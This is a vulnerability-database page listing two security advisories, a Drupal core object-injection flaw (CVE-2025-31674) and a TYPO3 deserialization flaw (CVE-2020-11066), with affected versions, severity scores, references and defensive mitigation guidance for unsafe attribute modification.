Vulnerability from github – Published: 2025-04-01 00:30 – Updated: 2025-04-01 19:06Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Drupal core allows Object Injection.This issue affects Drupal core: from 8.0.0 before 10.3.13, from 10.4.0 before 10.4.3, from 11.0.0 before 11.0.12, from 11.1.0 before 11.1.3.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "10.3.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "10.4.0"
},
{
"fixed": "10.4.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "11.0.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "11.1.0"
},
{
"fixed": "11.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-31674"
],
"database_specific": {
"cwe_ids": [
"CWE-913",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-01T19:06:02Z",
"nvd_published_at": "2025-03-31T22:15:19Z",
"severity": "MODERATE"
},
"details": "Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Drupal core allows Object Injection.This issue affects Drupal core: from 8.0.0 before 10.3.13, from 10.4.0 before 10.4.3, from 11.0.0 before 11.0.12, from 11.1.0 before 11.1.3.",
"id": "GHSA-2qph-q8xw-gv7q",
"modified": "2025-04-01T19:06:02Z",
"published": "2025-04-01T00:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31674"
},
{
"type": "PACKAGE",
"url": "https://github.com/drupal/core"
},
{
"type": "WEB",
"url": "https://www.drupal.org/sa-core-2025-003"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "Drupal Core Improperly Controlled Modification of Dynamically-Determined Object Attributes Vulnerability"
}
GHSA-2RXH-H6H9-QRQC
Vulnerability from github – Published: 2020-05-13 23:18 – Updated: 2021-01-08 20:16Calling unserialize() on malicious user-submitted content can result in the following scenarios: - trigger deletion of arbitrary directory in file system (if writable for web server) - trigger message submission via email using identity of web site (mail relay)
Another insecure deserialization vulnerability is required to actually exploit mentioned aspects.
Update to TYPO3 versions 9.5.17 or 10.4.2 that fix the problem described.
References
- https://typo3.org/security/advisory/typo3-core-sa-2020-004
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-core"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.5.17"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-core"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.4.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.4.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.5.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-11066"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2020-05-13T23:17:19Z",
"nvd_published_at": "2020-05-14T00:15:00Z",
"severity": "HIGH"
},
"details": "Calling unserialize() on malicious user-submitted content can result in the following scenarios:\n- trigger deletion of arbitrary directory in file system (if writable for web server)\n- trigger message submission via email using identity of web site (mail relay)\n\nAnother insecure deserialization vulnerability is required to actually exploit mentioned aspects.\n\nUpdate to TYPO3 versions 9.5.17 or 10.4.2 that fix the problem described.\n\n### References\n* https://typo3.org/security/advisory/typo3-core-sa-2020-004",
"id": "GHSA-2rxh-h6h9-qrqc",
"modified": "2021-01-08T20:16:34Z",
"published": "2020-05-13T23:18:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/TYPO3/TYPO3.CMS/security/advisories/GHSA-2rxh-h6h9-qrqc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11066"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/typo3/cms-core/CVE-2020-11066.yaml"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/typo3/cms/CVE-2020-11066.yaml"
},
{
"type": "WEB",
"url": "https://typo3.org/security/advisory/typo3-core-sa-2020-004"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Class destructors causing side-effects when being unserialized in TYPO3 CMS"
}
Mitigation
- If available, use features of the language or framework that allow specification of allowlists of attributes or fields that are allowed to be modified. If possible, prefer allowlists over denylists.
- For applications written with Ruby on Rails, use the attr_accessible (allowlist) or attr_protected (denylist) macros in each class that may be used in mass assignment.
Mitigation
If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
Mitigation
Strategy: Input Validation
For any externally-influenced input, check the input against an allowlist of internal object attributes or fields that are allowed to be modified.
Mitigation
Strategy: Refactoring
Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes.
No CAPEC attack patterns related to this CWE.